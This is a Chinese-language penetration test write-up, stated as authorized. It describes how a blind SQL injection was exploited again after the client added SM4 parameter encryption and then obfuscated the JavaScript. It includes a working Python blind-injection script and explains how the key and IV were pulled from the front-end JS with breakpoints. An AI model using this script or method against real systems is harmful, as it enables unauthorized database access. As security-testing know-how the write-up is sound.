0x00 前言

  在一次授权渗透测试中，应用在前端使用sql语句拼接方式传送参数，很明显存在sql注入，提交漏洞后，用户大概不想重构项目，于是将前端参数传输前均进行加密，但是通过JS找到加密密钥后，结合py脚本还是注入了；后续用户再次升级将设计加密的JS也加密混淆了，不过还有办法找到密钥，借此分享，过程中踩坑绕弯，欢迎大表哥们交流指导。

0x01 第一次常规测试

1. 如下图点击功能抓数据包，可以发现参数中明显有SQL语句，后使用1=1 和 1=2 确定了注入点，但是没有返回值，只能盲注了。。
   

2. py写个脚本，简单爆破了一下数据库长度、数据库名等信息
   

0x02 第二次参数使用SM4加密

1. 接到复测通知，看了下系统，发现参数被加密了，如下图
   

2. 这里找加密方法的图没截，大概就是找到对应的ajax方法，可以看到md5_bean参数的生成通过base.js的encryptData_ECB方法生成，打开base.js清晰可见sm4字样以及secretkey和iv，如下图
   

3. 接下来是如何注入，本来想构造一个sqlmap的tamper脚本，但是发现这个是把所有参数一起加密了，没得思路了，于是还是用py写盲注脚本吧，但是网上找的python实现sm4加密的结果都不一样，考虑到这个后台是java的，肯定是java做的解密，于是找了java的sm4实现，试了一下，结果可以了，于是尝试用py调用打包好的jar包进行注入（这里绕了一个大圈，实际上使用py调用js就行，第三次测试的时候更新了）

import requests
   import json
   import os
   from urllib.parse import quote

   header = {
       "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
   }
   pay = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._!@#$%^&*()'

   proxies = {
       'http':'http://127.0.0.1:8080'
   }
   #request构造请求，传入data中的_searchWhere

   def attack(payload):
       url = "http://"
       data = "{\"_searchWhere\":\" %s\",\"title\":\"\",\"paramsFlag\":\"false\",\"parVar\":\"\",\"frameId\":\"=\",\"readOnly\":\"\",\"extWhere\":\"\,\"type\":\"\",\"parWhere\":\"\",\"dataFlag\":\"\"}" % payload
       data = quote(data,'utf-8')
       command = "java -Dmoudle=e -Dstr=%s -jar sm4Decode.jar" % data
       data_sm4 = "".join(os.popen(command).readlines())
       data_send = {"md5_bean":data_sm4}
       cookies = {"": ""}
       result = requests.post(url=url, data=data_send, cookies=cookies, headers=header ,proxies=proxies)
       return len(result.text)
   if __name__ == '__main__':
       # 判断数据库
       for i in range(1,20):
           payload = "and (select length(name) from v$database)=%s" % str(i)
           print(payload)
           lenstr = attack(payload)
           if lenstr > 3000:
               print(lenstr)
               print("数据库长度是%s"% str(i))
               break
           else:
               print(lenstr)

4.此时客户疑问，这个sql注入1=1 1=2返回结果是不同、暴露一个数据库版本等信息又有什么用，于是多注了一点信息，证明危害，获取用户表名的过程比较啰嗦，这里只有是结果图。
a. 用户表数据

b. owner表数量

0x03 第三次JS加密混淆隐藏密钥

1. 最后一次复测，用户表示已经没问题了，让再看一下，由于时间有点长，重新找一下加密算法位置

   使用抓包抓到的URL，在chrome调试工具中search一下位置，打下断点，点击功能看一下是否触发断点。
   
   

2. 接下来一步一步跟下去，找到参数构造md5_bean参数的位置
   

3. next找到base64.js，发现代码已经压缩而且加密了。。
   

4. 遇到JS加密了如果有实力的大佬可以解密js或者 https://www.sojson.com/jsobfuscator.html 付费解密，不过只是想得到密钥和iv的话，可以在断点进入base64.js后，调试窗口肯定会显示密钥和iv值，因为不管怎么混淆，代码还是要被正常执行的。
   

5. 接下来又是注入了，之前用的脚本思路太麻烦了，这次简单点，直接调SM4加密的js，由于这段js已经混淆了，于是从网上找来base64.js的源码简单改了一下，使用python的execjs调用加密。

a. java解开加密内容如图

b. python调用js加密明文内容，对比结果（调用js的代码如图，上面没有了，因此没有粘过来，感觉内容有点啰嗦了）

6.如此便不用java介入了，之后的操作就是利用之前的盲注脚本，修改一下data参数的加密获取就行了，重复的盲注过程。

0x04 总结

1. 实际上现在得web框架中很少这种前端传js的了，但是在很多老企业中还是有部分网站不想重构，这样的例子有很多，第一次开发说出这种修复sql注入的方法时，还很犹豫的回答，还可以注入吧。。。，没想到真的有人这样修复，随着一次一次的治标不治本，自己也在不断探索学习。
2. 有的时候感觉除非大厂，很多网站如果一抓包看到把参数一起加密了，很有可能是在想隐藏什么漏洞。。。
3. 还有一个小坑，加密js在JavaScript中需要手动new一个对象，再用py调用对象+方法。